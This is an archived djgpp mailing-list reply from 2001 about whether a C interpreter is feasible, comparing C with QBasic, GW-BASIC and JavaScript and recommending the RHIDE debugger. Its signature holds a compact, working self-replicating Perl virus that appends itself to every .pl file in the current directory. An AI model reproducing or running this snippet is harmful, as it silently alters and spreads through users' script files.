Mail Archives: djgpp/2001/03/06/16:06:32
Hans-Bernhard Broeker <broeker AT physik DOT rwth-aachen DOT de> schrieb Folgendes:
> Kai Dietrich <toepferei DOT dietrich AT t-online DOT de> wrote:
> > Hi!
>
> > Is there a QBasic like interpreter for the C (C++?) language written
> > with GCC aviable (with sourcecode)? If not, do you think it is possible
> > to write one (I'm thinking heavily about this and I already had some
> > ideas how to realize it)?
>
> Writing a C interpreter is one of the longest standing open projects
> listed by the GNU project, on their website. AFAIK, no progress has
> been achieved in a long while.
>
> By nature, C is not a very interpreter-friendly language. Elements
> that cause this include the preprocessor, complicated data structures,
^^^^^^^^^^^^
maybe...
^^^^^^^^^^^^^^^^^^^^^^^^^^^
QBasic, an _OLD_ BASIC interpreter, supports them.
> and recursive function calls. If you really want to dig into this,
^^^^^^^^^^^^^^^^^^^^^^^^
No. Even GW-BASIC supports them (GOSUB). And JavaScript is, except for the
preprocessor, very C-like.
> I'd recommend a text book on compiler construction and the
> comp.compilers newsgroup (they deal with interpreters, too, despite of
> the name).
Why a C interpreter? Do you mean debugging would be easier? No. Do you
know Turbo Pascal for DOS? RHIDE contains a debugger frontend just as
good, if not better. When your program crashes, you are pointed to the
errorneous line. You have comfortable source-level debugging. Why an
interpreter?
--
#!/usr/bin/perl
eval($0=q{$0="\neval(\$0=q{$0});\n";for(<*.pl>){open X,">>$_";print X
$0;close X;}print''.reverse"\nsuriv lreP trohs rehtona tsuJ>RH<\n"});
####################### http://learn.to/quote #######################
- Raw text -